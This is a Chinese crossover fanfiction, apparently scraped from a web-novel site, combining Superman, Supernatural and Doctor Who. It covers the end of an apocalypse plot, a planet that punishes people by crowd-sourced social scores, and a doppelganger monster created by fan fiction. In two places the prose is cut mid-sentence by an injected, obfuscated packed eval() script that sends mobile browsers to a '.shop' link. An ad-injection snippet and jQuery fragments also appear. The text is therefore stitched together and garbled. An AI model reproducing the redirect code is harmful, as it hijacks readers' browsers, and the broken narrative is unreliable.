超人在自己的身体中睁开眼。 扎塔娜在伊琳身边发了两个拗口的音节,伊琳在凭空而生的水将超人浇成落汤鸡之后才意识到那是“水”字的逆读。 氪石粉末被冲刷干净,虽然仍有残留的影响,但超人已经能够颤颤巍巍地飞起来,直冲向米迦勒掉入的牢笼。 按照计划,此时的他应该在自己胸口画上以诺语的符文,将路西法轰出自己的身体。 但他却毫不犹豫地抓住了坠落的米迦勒,将以诺语的符文先印上了他的胸膛。 刺目的白光闪过,一具身体被抛了出来。超人紧随其后地飞了出来,在那具昏迷着的身体落地前再一次将他接住。 白光与混沌的能量争先恐后地想要冲出洞穴,四只戒指却突然被吸引到一起,同洞穴一起消失在原地。 “氪石还是影响了你的速度,你差一点就来不及出来了。”蝙蝠侠说。 “但我还是把我和他都救了出来。”超人少见地有些气喘吁吁,胸膛上的以诺语符文还在流血,但这并没有减少他笑容的灿烂程度,“所以,都结束了,是吗?” “这个世界上还是有很多犯罪。” “是的,但至少我们可以把天启从问题清单里划掉了。” ** “所以,不会再有天启了。”迪恩说。 “没错,”萨姆和迪恩碰了碰酒瓶,响亮的玻璃碰撞声里,他回答说,“没有米迦勒,没有路西法。” “而我们做的就是看了一场视频转播。”二氧化碳在迪恩嘴里炸开,他心情复杂地笑了一声,“超人。放在几个月以前我完全想不到,解决天启只缺一个超人。” “谁说不是呢。”萨姆握着啤酒瓶的瓶颈,手里不住地转着酒瓶。他看着迪恩仰头灌了大半瓶下去,试探着问道,“迪恩,我们有一个兄弟。” 迪恩瞥了他一眼:“是的,并且我们还知道他叫亚当,爸爸带他去现场看过球赛,他15岁的时候用impala学了开车,不是为了在公路旅行或者狩猎的时候轮流开车,只是因为——嘿,那就是爸爸会教儿子的事。” 他又灌了一口酒,闷闷地总结道:“所以是的,我意识到我们还有一个兄弟了。” 萨姆难以置信地摇摇头,笑了一声:“我......我真的不敢相信,但是......这很好。我们有一个兄弟,他还有他的妈妈,他还在读预科,几年后就能成为一个医生。这就是我们为之奋斗的,不是吗?让普通人能够不受怪物侵扰地过着平常生活。” “平常生活。”迪恩重复了一遍,耸耸肩,“你想要吗?我是说,普通人的生活,你知道的,在我把你拽回这种生活之前——大学,还有校园里愚蠢的派对。” 他装作轻松地笑了笑:“你现在回去上学也不算太晚,布鲁斯·韦恩还能给你写推荐信。” 萨姆笑了:“所有人都知道布鲁斯·韦恩是个草包。” “但蝙蝠侠不能给你写推荐信,所以,你的推荐信上只能有韦恩家闪闪发光的财富。”迪恩跟着笑了,“或者找黑金丝雀?我听说她是律师,专业对口。” 萨姆盯着迪恩看了一会儿,看着迪恩垂下了眼睛,不与他对视。萨姆收敛了笑容,叹了口气:“你是认真的。” “当然。我是说,看看亚当,那是你原本可以拥有的生活。” “迪恩,你也是。我们是一样的。”萨姆加重了语气,“猎杀怪物,拯救人们,这是家族事业。如果你在里面,那么我也在。” “再说了,”萨姆笑了一下,“我不觉得我老到需要退休了。” “那么,等你重新想当回书呆子的时候,或许就得去上老年大学了。”迪恩咧开嘴笑了,“派对里没有漂亮的姑娘们,只有小老太太。” “或者我们偶尔路过亚当学校的时候可以去看看。” “哦,绝对的。”迪恩望了望天花板,眼神放空了一阵,咂嘴说,“你说亚当学校的医生喜不喜欢穿牛仔靴。” 萨姆翻了个白眼:“别不承认了,我就说你是Doctor Sexy的粉丝。” ** “哦,我的好姑娘,你是不是都要闷得长蘑菇了。”博士兴致勃勃地检查着塔迪斯上的各种读数,“地球还不赖,但长时间待在一个时间一个地点和坐牢有什么区别。” “杰克!”他低头喊道,“稳定器的检修怎么样了?” 杰克从操作台底下的缝隙里探出头来,脸上灰不溜秋的:“你这线路可真乱,有几根线接错了,要修好恐怕得全部拔掉重连。不如就这样算了,影响应该不大。” 博士掏出音速起子,检查了一会儿,大笑说:“好吧,稳定器的几条不重要的辅助装置错了,再坏能坏到哪儿去呢?顶多把我们送到错误的星球。” 杰克从底下钻了出来,拍了拍沾满灰尘的头发:“我从来不介意惊喜。” “伊琳呢?她怎么还不回来?她到底打不打算旅行了?” “哦,她说她一定要赢一把游戏再回来。” 博士翻了个白眼:“据我所知她一个半小时以前就这么说了。” 杰克大笑道:“她以前只玩单机游戏是有原因的。” 泰坦塔游戏卡带的丰富程度令伊琳吃惊不已,但这确实说得通,毕竟这是几代少年英雄的积累。 迪克在提姆的嫌弃中翻箱倒柜地翻出了他曾经最爱的对战游戏:“这是经典!经典永不过时!” 一开始,伊琳还捧着爆米花坚定地窝在沙发里:“不,我不玩游戏。” 但事实证明,观战使人上头。 “你为什么走这边!”当迪克在沃利的神速力下败下阵来的时候,伊琳突然涌出了一种“我上我也行”的冲动,一把夺过了手柄,最终为沃利刷新的最快获胜记录做出了自己的贡献。 然后,她就停不下来了。 她的手机在沙发上不停地震着,伊琳紧盯着屏幕,恶狠狠地说:“再来一局!我就不信我赢不了!” 直到那个熟悉的蓝盒子降落在大厅里,正好将屏幕挡了个严严实实的。 “给你两分钟。”杰克顶着湿漉漉的头发从塔迪斯里探出半个身子,冲着熟悉或不熟悉地年轻英雄们快速眨了眨眼,“杰克·哈克尼斯上校,很高兴见到你们。我必须澄清一点,伊琳的游戏技术一定不是遗传我的。” 伊琳鼓着脸将他推了进去。 “小子,”博士探出头来冲着迪克喊道,“最后一次改主意的机会,你确定不来?” 迪克纠结地摇了摇头:“我再请假艾米会杀了我的。” 博士皱起眉头:“你知道塔迪斯能把你送回你离开的时间段的对吧?” 迪克一时语塞,伊琳将博士拽了回去,毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617153|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给面子地说道:“唯一的问题是你的降落时间经常不准,误差可以在几个月到一年。” “嘿!”博士抗议道,“‘经常’这个词很不准确!” 沃利搭上迪克的肩膀:“说不定我们能在外星相遇,谁知道泰坦什么时候就要去外星出任务了呢。” “千万别,”伊琳快速说道,“我们去的可是度假星,高科技、高生活质量的那种。我可不想这么快又被卷入麻烦。” “别担心,朵维亚是卷尾巴星系最有秩序、最安定的星球了。”博士说。 ** 一天后,当伊琳奔跑在朵维亚首都市中心的大街上,后面追着四五台脚下是滚轮的类人型警卫机器人时,不由得思索:在这最有秩序、最安定的星球上,到底是哪里出了错,才让他们三个又一次没有逃脱被追捕的命运呢? 星球上的海滨度假酒店很棒,全透明的海陆空三用租赁游览车也很棒,当地人更是热情友好,当然最棒的还得是绝佳的保鲜技术和跨星系进口生鲜而造就的多样的美食! 如果不出意外的话,他们应该在用完城中咖啡厅最著名的悬浮蛋糕之后去体验室内温泉馆的,但蛋糕中心涌出的口味才从蓝莓酱过渡到芒果酱,就有一位咖啡店的侍应生面带微笑地朝着他们走来,礼貌地询问他们的用餐体验。 仔细想来,意外的发生很明显是杰克的错。 当侍应生接近的时候,伊琳正在聚精会神地品味着蛋糕口味的过渡——悬浮蛋糕最大的特点就是“大”,可以包裹住层层不同口味的果酱,让它们从中心通过动力装置缓缓流出,淌在蛋糕巨大的表面上。蛋糕胚是当地特色材料做的,松软蓬松,口感轻盈,不容易饱腹,最棒的是它能和各种味道完美地融合在一起。 吃这个蛋糕的方式也有讲究,你要快速地将蛋糕表面裹上了果酱的那层刮下来,为新一轮的果酱喷泉让出干净的蛋糕表面,以免各口味混杂在一起。 伊琳担负起了这个艰巨的使命,所以当然无法分心与侍应生交谈。 当然,你也不能指望博士去承担起社交性的聊天,去恭维这家咖啡店这种“弄巧的小把戏”,毕竟博士见多识广,曾品尝过几万年之后几个星系开外的另一种全宇宙最棒的蛋糕。 所以,让杰克出面和侍应生交谈绝不是任何人的错。 “这很棒!”杰克轻快地说道,“我简直可以一日三餐都吃这个,如果我不用担心长胖的话。” 一般这个时候,多数人会说:“你看起来离需要担心长胖的时候还远着呢!” 但侍应生却没有接话,只睁大了眼睛,一脸惊奇地看着他。 “怎么?”杰克,以非常具有个人特色的语气和神态,冲着侍应生眨了下右眼,露出了灿烂自得的笑容,“魅力难挡吗?” 侍应生还没有反应过来,杰克又加了一句:“你们的菜单上有那么多candy,你却觉得我才是你的eye candy吗?” 博士嗤笑了一声,杰克总是有本事将略带贬义的词汇转化成对自己外表的自吹自擂——博士开始回忆起米奇说杰克是小白脸的时候了,那时还有罗斯一起旅行...... 所以他完全没有料到侍应生一下子变了脸色,一脸厌恶地向后退了一步。 好吧,博士记不太清这个时间点朵维亚星具体的文化和社会结构了,但恐同在很多星球上确实算不上稀奇的事。 作为前时间特工,杰克当然也清楚这一点,毫不在意地耸了耸肩:“好吧,是我误会了,我还以为你盯着我看是对我感兴趣。” 侍应生的表情更扭曲了:“你怎么会觉得我是......” 他没有把那个词完整地说出来,直接大喊起来:“我要给你打一分!” “你是什么?”杰克忍俊不禁,“在学校里和同学们互/评的未成年吗?” 博士心里突然有了一种不妙的预感,好像有什么东西被他给遗忘了。他按住杰克的肩膀:“不,等等......” 侍应生的手指凌空点了一下,咖啡厅里突然响起了刺耳的警报声。 原本他们的争执只引来了少数几人的注目,此时所有的人却都向他们看过来,表情处于惊讶与惊恐之间,纷纷交头接耳起来。 伊琳隐约听见附近人的聊天中频繁地出现了“分数”这个词。 “分数?什么分数?” 一扇玻璃之隔的路上,几台配备着电棍的机器人从街对面运行过来,头顶的指示灯闪着红光:“发现低分居民,执行治安法第五十六条。” “呃,这好像不太妙。”杰克谨慎地站了起来。 不用任何人提醒,三人同时跑了起来,赶在机器人到来前跑在了大路上。 64.风平浪不静的第二天 “逃跑?你们在想什么?那是警卫机器人!他们当然有远程武器!” 博士的双脚被电磁场紧紧束缚在一起,人顺着惯性倒在了地上。他下意识挣扎了几下,又觉得这个姿势实在是太难看不过,索性躺平了大声抱怨着——当然,熟悉他的人都知道,他这虚张声势的抱怨更像是对自己失算的懊恼与尴尬。 哥谭特色的体术训练到底没有白费,伊琳在中招前至少调整了一下落地的姿势,往旁边略靠了靠,将杰克当成了垫背的。 听到博士的话,她扭过头来,不服气地反驳道:“你才是第一个跑的!” “我?绝对不是我!”博士说,“我为什么要跑?这些机器人想抓的不就杰克一个人吗?” 伊琳眨了眨眼,后知后觉地反应过来:“对哦。” “嘿,以防你们没有意识到,我听得见你们说话。”杰克意有所指地用眼神示意了一下自己的手腕,“并且,我是唯一一个有交通工具的。” “哦,别那么着急,”博士脸上装出来的恼怒一扫而光,展开一个兴奋的笑容,“我还挺想看看这个‘分数’是怎么回事的。” “好吧,如果他们展露出要收掉我腕表的意图的话,你最好在我启动穿梭功能前靠过来。” 博士没理他,用手撑起身体,往前跳了几步,迎上警卫机器人:“我们是从外星来的游客,很抱歉我的朋友说了冒犯的话,是我们不太了解当地的文化。呃,如果需要罚款或者赔偿的话,我这里有些卷尾巴星系的通用币......” 机器人并没有什么反应,头部不断左右转动着,顶上的信号灯闪着蓝光:“发现低分居民,低分居民失去行动能力。发现协助低分居民抵抗执法嫌疑人,嫌疑人失去行动能力。” 非常标准的劣质机械音,伊琳不由得叹了口气:“我一直弄不明白外星科技为什么不在机器人的语音包上下点功夫。” 机械爪伸出,分别抓住了三人的腰,将他们举起来抗在类人型机器人的肩部。 “我要修改建议,”伊琳咬牙切齿,上半身倒挂着,只觉得血液倒灌进脑子里,“在更新语音包之前,他们最好先更新一下载人系统。” “还不赖,不是吗?”三人被投入监牢后,束缚脚腕的力磁场消失不见。博士饶有兴致地端详着这个临时住所:一面是纯白的墙体,三面是透明玻璃,两侧能看见临近的监牢。它并不像他所见过的很多监牢那样昏暗甚至肮脏,冷色的灯光打在白色的瓷砖上,不染一点尘埃,空气中充斥着消毒液的气味。 杰克和伊琳已经坐在了床垫上,伊琳向后一躺,伸了个懒腰:“这床垫可不怎么样,我有些想念酒店床的按摩功能了。” “你的好奇心和冒险精神呢?”博士原地跳了几下,对着天花板一角的摄像头招了招手。等了一会儿发现没人理他,又走到与临近监牢相隔的玻璃墙边,敲了敲玻璃,对着那边喊道:“嗨,我们是新来的,在这儿住要注意些什么吗?” 喊了好几声,那边的囚犯才抬起头,露出一张毫无血色、冒着冷汗的脸,眼窝深陷、眼下青黑,毫无生气地朝博士看过来。 “呃,很抱歉打扰你休息了,你继续,不用管我们。” 那人脸上浮现出气恼的神情,张开嘴,没有丝毫意义的“啊啊”声音隐隐约约透了过来。 博士惊讶地退了一步:在明亮地灯光下,他清楚地看见那人嘴里空空荡荡,舌头全然不见踪影。 “你问错人了。”另一边囚室里的人不知何时向他们靠近了,胳膊撑在玻璃上,冲着他们喊道,“他刚刚没了舌头。” “为什么?这是一种刑罚吗?朵维亚还没有废除肉刑?” “哦,我们的刑罚取决于国民多有创意。那边的老兄大概老是嘴欠,计算出的刑罚是割舌缝嘴。” “计算?怎么计算的?”博士指了一下杰克,“我们这位伙伴大概也能算是因为嘴欠被抓进来的,我想这个信息对他很有参考价值。” “嘿!”杰克出声抗议,博士没有理他。 “你们是外星人?”那人露出了恍然大悟的神色,“那你们一定很讨人厌。一般来说外星人入境时工作人员都会友情给你们打几个满分。” 伊琳和杰克对视一眼:或许这就是问题所在,塔迪斯从来不遵守星球当地的入境手续。 “这里关着的都是违反了治安法第五十六条的人,通俗来说,就是低分者。我们星球上的每个人都可以互相打分,最低一分,最高五分,分数低于1.05的人会被视为低分者。” 老实说,这个分数要求并不苛刻,毕竟一个人从小到大,总会有那么些家人朋友能给他们累积高分基础,而一分也不常见——毕竟打分这件事是相互的,不到刻骨深仇或者情绪上头的时候,谁都不愿伤敌一千自损八百。 可问题是,作为以不规范手段入境的游客,三人之前在系统中的分数完全是空值,直到那位咖啡店的侍应生将杰克的分数变成了醒目的一分,他就在系统里亮起了红灯。 “那么对低分者的惩罚措施是什么?” “就像我说的,这取决于国民多有创意。星球的系统里有所有人互相的评价与咒骂,系统会根据这些数据给出刑罚。” 听起来有点像是生成式的人工智能系统,输入犯人的姓名等身份信息后,系统会提取包括咒骂在内的所有评价作为特征,自动生成刑罚,隔壁那位被割舌的犯人大概是被许多人骂过“真该割了他的舌头”。 “这种量刑方式可真随意。”伊琳评价说,“毫无公平可言,听起来纯粹是为了偷懒。” 过于依赖预设系统的结果就是——总有一些极端的情况不曾被考虑进去,比如几个突然冒出来、系统里几乎没有几条关于他们的记录的外星人。 当他们被带到了审判台上,蓝色的扫描光前前后后在他们身上扫荡了几分钟,电子“哔哔”声一直不曾停歇。 等警卫开始犹豫着是不是要找技术人员进行修理时,审判机器终于发出了“滴”的一声,标志着扫描与运算的结束。然而,审判宣告声始终没有响起。 警卫没有按耐住,走到台前调出审判结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667110|136106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果的屏幕,却发现上面一片空白,不由得面面相觑。 杰克挑起眉毛:“看来那名咖啡店店员没来得及骂我。”所以他们在这个星球系统里的资料当然近乎是一片空白。 “哦,”博士失望道,“我还以为会有些有趣的结果出来。” 虽然结果很离奇,但警卫们还是忠实地执行起了机器的指令:“无刑罚,当场释放。” 杰克还打算跑到那家咖啡店里耀武扬威地走一圈,却被博士给制止了:谁知道这个低分处罚会不会被重复触发,那侍应生看到杰克之后说不定就把那句缺少的咒骂给补上了。 “所以,我们不做点什么吗?”伊琳问。 博士拉起了操纵杆:“不需要。这个评分体系只运转了几十年,这就是为什么我之前完全没想起来这回事。在下一年,系统就会被反叛军彻底推翻。” “不成熟的生成式智能系统,”博士不可思议地摇了摇头,“什么样的蠢货才能想得到用这种方式来治理星球。” ** 为了弥补没有去成室内温泉馆的遗憾,三人返程回到二十一世纪的地球后,径直去了西弗吉尼亚州的阿勒格尼山脉,那里有不错的天然温泉。 他们并没有多在度假小镇内逗留,只在当地补充了帐篷、燃料、食物等露营必需品——以旅游业为生的居民们热情的服务态度总让他们回忆起朵维亚星球上的种种场景,下意识怀疑下一刻就会蹦出一个人说要给他们打分。 而且在一个美国小镇上,一个旧式英国警亭实在是太显眼不过。 但在山脉内部就不一样了,有塔迪斯在,他们完全可以无视山路的艰险,挑选人迹罕至但风景秀丽的位置,安安心心享受一个假期。 “我们到底为什么要搭帐篷?”固定的铁钉再一次从湿润的泥土里被帐篷的重量带了出来,博士拉着绳子,用全身的力气将铁钉踩了下去,抹了一把汗水,“我们明明有塔迪斯在。” “因为这是露营!住在塔迪斯里算什么露营!” 博士嫌弃地看着伊琳开了一罐番茄焗豆倒入小锅中,底下便携式燃气灶烧出的火稳定而明亮,将旁边那一小堆表面泛黑的树叶和木棍衬得可怜极了。 “用燃气瓶和罐头做饭也算不上真正的露营。” 钻木取火失败的杰克咳嗽了一声:“据我所知,二十一世纪的人们就是这么露营的,帐篷和燃气,新与旧的结合,完美!” “随便你们怎么说。”博士向着塔迪斯走去,“那我猜二十一世纪的露营也不会需要英式红茶?” ……说真的,杰克对博士那难以恭维的泡茶手艺没有半点兴趣,但这话确实提醒了他塔迪斯里还有不错的白葡萄酒的存在。他动作敏捷地跟了进去:“我去去就来。” 罐头焗豆的汁水早就被加热到冒起了泡泡,伊琳看着被她摆了满地的罐头都没找到值得加热的下一个目标。 然后她不经意间瞥见了之前顺手买的凿冰器与钓竿,还有店家赠送的一小袋鱼饵。 ……虽然没有试过,但钓鱼应该不难吧。 65.风平浪不静的第三天 空气中弥漫着硫磺的味道。 或许是因为临近温泉的缘故,伊琳找到的溪流上只覆盖了薄薄一层透明的冰。她拿着凿冰器略一使劲,一大块冰就脱离开主体。再凿了几下,她面前的冰面就被清干净了。 这段溪极浅,水底石头间的青苔形状都清晰可见,加上阳光的折射,溪水看起来只能没过膝盖,石头缝间隐约可见小拇指长的小鱼啄食着上头附着的藻类。 ……这地方看起来钓不到能做菜的鱼。 伊琳拎着水桶犹豫了一会儿,依然有些不死心,不愿意放弃自己开凿出来冰洞,便跪坐在溪旁弯下腰,狠了狠心,猛吸一口气,把头埋进了溪水里,在水下左右寻找着大鱼的踪迹。 一口气用尽,除了惊走了石头缝里的小鱼外和出水后的两个喷嚏外一无所获。 伊琳愤愤地望着水里,抹了一把脸。 她忽然觉得水里有什么地方不太对。 她仔细地看着水草、砂石,还有重新试探着游回来的小鱼,依旧没有找到心里的那丝异样感究竟来自何处。 直到她的注意力分散开来,才意识到除了透过水面看见溪底外,她还从水中看到了一样东西。 那是她自己的影子。 影子极浅极淡,在水波的荡漾中被模糊成一团,极容易被忽略。可真要仔细去瞧时,凭着对自己样子的熟悉,还是能从水里依稀找到自己面部的轮廓和五官的位置。 伊琳皱起眉头,端详着水中的倒影,终于捕捉到了某种异样的存在:影子的嘴角是上扬着的。 她下意识摸上了自己的嘴角,倒影中却并没有出现她的手,只有笑得更加灿烂的嘴角弧度。 伊琳从原地跳起来,往后退了几步,伸手从后腰处取出了一把手枪。 水里伸出一只手臂,水花四溅中,伊琳分辨不清那是否和自己的手有所相似,但看袖子的式样颜色,确实是自己身上的衣服无疑。 她当下不再犹豫,果断朝着那只诡异的手臂扣动板机。 枪响的同时,她的手臂一阵炸裂般的剧痛,伊琳手一抖,手枪落在了地上。水里的手也缩了回去,水面恢复平静。 “什么鬼。”她用左手捂住手臂上的伤口,血渗透了厚厚的衣服继续从她指间渗出来。 伊琳快速拾起了地上的枪,将受伤的手臂抬高至心脏以上的位置,减缓血液流速,然后小跑着向露营地走去。 “你再不来,牛排都......”杰克捧着盘子坐在火堆前,身旁还放了个高脚玻璃杯。他听见地上树枝被踩裂的声音,笑着抬头冲她看过来。 他视线落到伊琳捂着伤口的手上,一下子变了脸色:“发生什么事了?” 伊琳一下子不知道该怎么形容这个伤口的出现,只能耸了耸肩:“呃,大概是枪伤,我猜。” 伤口附近的衣袖被杰克小心翼翼地剪去了,又沾了些水去打湿黏在伤口上的布料。撕扯时伊琳小口的吸着凉气,龇牙咧嘴地叹道:“我还挺喜欢这件衣服的。” 清水缓缓冲洗着伤口,杰克看了一眼,毫不费力地下了结论:“贯穿伤。” 医疗室内器械嗡嗡地运作起来,绿色荧光的纳米基因凝集在伊琳的伤口上,伤口以肉眼可见的速度愈合,最后只留干涸在皮肤上的血迹。 “谁干的?你不会在这么短的时间里跑去和人枪战了吧。”杰克嘴角的弧度看起来依旧像是在开玩笑,但眼睛里却升腾起怒意。 “有些复杂。”伊琳用手拢了一汪水,冲洗掉皮肤上残留的血痂,“简单来说就是,我开了一枪,然后我中枪了。” “好吧,你这解释得真是再清楚不过了。”博士说,“具体些呢?” “我不知道那是谁,或者那是什么。但她看起来和我长得一模一样。她从水里钻出来,我对着她的手臂开了一枪,然后我身上同一个位置就出现了一个伤口。” “有头绪吗?”杰克看了博士一眼。 “一点都没有。你知道的,考虑到现在我们所处宇宙的复杂程度,对方的物种有太多可能性了。” 杰克咧开嘴笑了:“这样说来,我们需要更多的观察记录,是吗?” 伊琳一点都不赞同这个主意。 杰克揉了揉她皱紧的眉头,撸起袖子露出自己的腕表:“放心,打不过我还不会跑吗?” 四十分钟后,杰克推开了塔迪斯的门,嘴角的破口和淤青异常显眼。 他边关门边用手碰了碰伤口,倒吸了一口凉气。 “我还以为你很喜欢自己的脸。”博士确认过他身上没有其它伤后,眉头舒展开来,调侃说,“看来你也觉得自己的脸很欠揍?” “哈哈,真好笑。”杰克干巴巴地笑了声,“但我确保了他脸上也留下了同样的伤痕。” “是的,我猜到了。” “所以说,不是伤害转移?”伊琳问道,“那个东西也受伤了?” 杰克仰着脸让纳米基因修补他脸上的伤口,不一会儿就满意地在镜子前端详着自己恢复了白皙的脸:“没错。除此之外,他和我打斗的习惯很像,力气也相似,感觉像是在和另一个自己打架。” 博士轻车熟路地黑入了当地的警局系统,查找到这片区域内的案件信息。 “最近三个月有五起死亡案。”博士说。 “登山者出现意外并不稀奇,尤其是在这个季节。”杰克说。 “但五人的尸体都是在溪流下游被发现的,这未免有些太巧合了。” “验尸报告上说他们身体上有大片瘀伤,是生前造成的,推断是落水后被石头撞击形成。”伊琳若有所思,“这算得上一种可能,又或者......” “又或者他们和自己打了一架。” ** 温彻斯特兄弟刚巧在新泽西州解决了一起女巫的案子,接到伊琳的电话后,驱车六个小时来到了阿勒格尼山脉。 塔迪斯降落在山脚下汽车旅馆的停车场内,温彻斯特兄弟人手一杯咖啡打着哈欠走了进来。 “你们一晚上没睡?”伊琳同情地看了他们一眼,受到哈欠的感染,自己也开始觉得有些犯困,扭头开始捣鼓料理台上的咖啡机,“早说了塔迪斯可以直接去接你们。” “不用了,一想到Impala离我那么远我就浑身不自在。”迪恩双手并在一起,动作粗暴地揉了揉脸,“好了,我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 醒了。我们开始吧。” 提起变形的能力,两人第一个想到的是变形怪,虽说一般来说变形怪并不具备映射伤害的能力,但难保不是变形怪的哪个变种分支。这个调查方向他们拜托鲍比进行了。 接着,就是从各种异族神话故事里寻找具有类似能力的生物。 这无疑是一件繁复又令人感到挫折的工作,迪恩从来就不是一个热爱阅读文字的人,电脑屏幕的光亮更是刺激得他疲惫的眼睛开始生理性流泪。 他的阅读效率逐渐下降,到了最后,他只是惯性地将视线在一排排文字上移动着,但具体单词的意思却怎么也连不成句子。 “迪恩。”萨姆突然叫了他一声,但声音迅速低了下去,听起来有些犹豫,“呃,或许没什么,我再看看。” 伊琳已经探头去看了,并且大声地朗读起来:“......萨姆倒在地上,血从他的腹部不断涌出,神情惊慌地望着迪恩。迪恩看着他的眼睛——那双小鹿般澄澈剔透惹人喜爱的眼睛,狠下心撇开头不去看他。 “他稳稳地托住了枪,对准眼前那个长着他的脸的怪物。此时此刻,迪恩已经下定了决心:只有一种方法能杀了这个怪物,也只有一种方法,才能让他心中龌蹉的、禁忌的爱恋不再生长。 “只要一枪,两个错误都会被纠正,他对兄弟不合伦常的爱意将寂灭在......” 还没读完,萨姆猛地将笔记本屏幕合上了:“呃,我想后面的内容对我们的调查没什么帮助。” 杰克完成了对塔迪斯的日常检修,从操作室内转出来,迸发出一阵大笑:“哦,你们两个,我竟然从来没有想到过。” 迪恩在伊琳读了一半的时候就已经完全清醒过来,瞪大了眼睛,不可思议地看向萨姆:“你到底在看些什么东西?” “我只是在调查!”萨姆提高了声音,“阿勒格尼山脉,温泉,会变成接触者样子并反弹伤害的怪物,这篇......”萨姆一时间没有想出该用什么词来指向这个诡异的故事,只能含糊过去:“这里面都有。” “顺带一提,”他重新翻开笔记本电脑,鼠标标亮了里面的一个段落,“里面说这种怪物叫‘纳西索斯’。” 迪恩挑起眉毛:“那个希腊的水仙花自恋狂?” “是的。”萨姆说,“我对这个词做了些调查,除了这篇......故事之外,没有资料将这个词和变形怪物联系在一起。” “是啊,”迪恩翻了个白眼,“因为这玩意儿就是瞎编的。” “但里面描写的怪物是我能找到的与我们知道的特征相似度最高的,连地点都一模一样。” 迪恩表情严肃了起来,凑近屏幕去看,努力忽略故事中“迪恩”诡异的心理活动。 “顺带一提,这篇文是Wincest论坛里热度最高的。” 迪恩的表情像是吃了一大口羽衣甘蓝,语气古怪地重复道:“Wincest论坛。” “这不是重点。重点是,这就意味着这篇故事有很多人看到,甚至有些粉丝或许会乐于相信这个的存在。”萨姆说,“这让你想起什么了吗?” 迪恩恍然大悟:“幻人。” 66.风平浪不静地第四天 据记载,幻人是西藏的一个秘术,施术者通过冥想将想象中的存在带到现实中。萨姆和迪恩在几年前遇到过一次这种怪物,它在当地的灵异传说中被催生出来,力量与弱点都来自于人们的想象。 迪恩不自在地咳嗽了一声:“所以,那篇......里面有说这个怪物有什么弱点吗?” “看起来没有。这里面只说纳西索斯会继承他所变成的人的力量,并且收到的伤害会返给那个人。” “按这篇小说的设定来说,幻人的确可以被杀死。”伊琳捧着手机,兴致盎然地看着找到的新天地,“但同样,他所变化成的那个人也会受到同样的伤而死去。” 她扬了扬手机:“顺带一提,我刚看到故事里的萨姆抱着迪恩的尸体哭。” 萨姆假装没有听到:“我们得让作者修改一下故事。” “怎么说服她?告诉她我们就是她书里的主人公,她写的变成现实了?”迪恩顿了顿,突然意识到什么,“恰克。她一定是恰克的粉丝,会听他说的话。” 四个小时里他们给恰克打了十几个电话,却始终没能接通。 伊琳甚至还托芭芭拉借用蝙蝠系统黑进了恰克家附近的监控,快速播放了好几天的监控录像都没有看到恰克出入家门的身影。 “看上去他不在家。”伊琳说。 “他还能去哪儿?”迪恩百思不得其解,“他是我见过的最宅的人了。” 萨姆问:“你觉得有没有可能是他遇到了危险?我是说,他可是先知,这个身份肯定让他在不少人的名单上。” “但卡斯不是说有大天使在保护着先知吗?” “上帝大概也说过要守卫人间这种话,但看看现在的这群天使,我不觉得他们依旧是爸爸的乖士兵。” “说起这个,卡斯最近到底在干什么?”迪恩皱起了眉头,“我好久没听到他的消息了。” 伊琳盯着手机屏幕,露出了诡异的表情:“我猜他至少没在和克劳利谈恋爱。” 听到这种离谱到令人怀疑自己耳朵的话,迪恩下意识问了一句“什么”,但看着伊琳的坏笑,他很快就后悔了自己问了这句话:“不,别告诉我,我一点都不想知道。” 伊琳不顾他的抗拒,声情并茂地朗读起克劳利的内心独白:“克劳利能感受到萨姆·温彻斯特在十字路口撕心裂肺的痛苦与绝望,他祭献的鲜血里所含的高级恶魔的力量让他不争气的手下们蠢蠢欲动——而这些手下都被新任的地狱之王给那只天使作了加餐。 “他看见属于地狱的罪翻涌在洁白的光里,傲慢与对力量的贪婪悄悄在天使日渐稀疏的羽毛里蔓延开枝桠。他在向上攀升,带着他的天使大军们;他也在无可救药地坠落,他的每一片荣光都将沾染上地狱的罪恶。 “他和自己一起永坠黑暗,再也无法脱离。克劳利抚摸着手中用柔软的人皮装点的王座,像是抚摸着凋零的羽毛。” 伊琳刻意地低下声音,极力渲染深情的气氛。 听见这段故事的人没有一个买账的,杰克差点要笑到椅子下面去。 “噫,”迪恩嫌弃地撇了撇嘴,“真够病态的。” 萨姆忍笑:“恰克还写了克劳利?” “温彻斯特福音,记得吗?”迪恩翻了个白眼,“可惜他们选上的先知只能写些不入流的小说。” “好吧,”伊琳清了清嗓子,“言归正传,找恰克这条路看来是行不通了,接下来怎么办?我们直接联系作者?” 迪恩和萨姆对视了一眼,迪恩嘀咕道:“我真的不想告诉写这个故事的人我们俩真的存在,这感觉太诡异了。” “也许还有其它办法。”杰克终于笑够了,手插在大衣口袋里一摇一摆地走了过来,“还有一类人能有足够的声望让作者信服。” “超级英雄。”伊琳反应过来,快速地拜托芭芭拉查到了作者的地址。 她愉快地挑起眉毛:“中心城。” ** 伊琳以三顿大餐的价格收买到了闪电小子替她走一趟。 “这感觉有点奇怪,有点像私闯民宅。”闪电小子飞快的语速夹杂在风声里,“并不是说我平时少闯了,但她既不是罪犯,也不是受害者。你说我是应该直接从阳台上进去,还是应该敲个门?我不会吓到她吧?” 那边的风声在闪电小子说到一半的时候就停了。 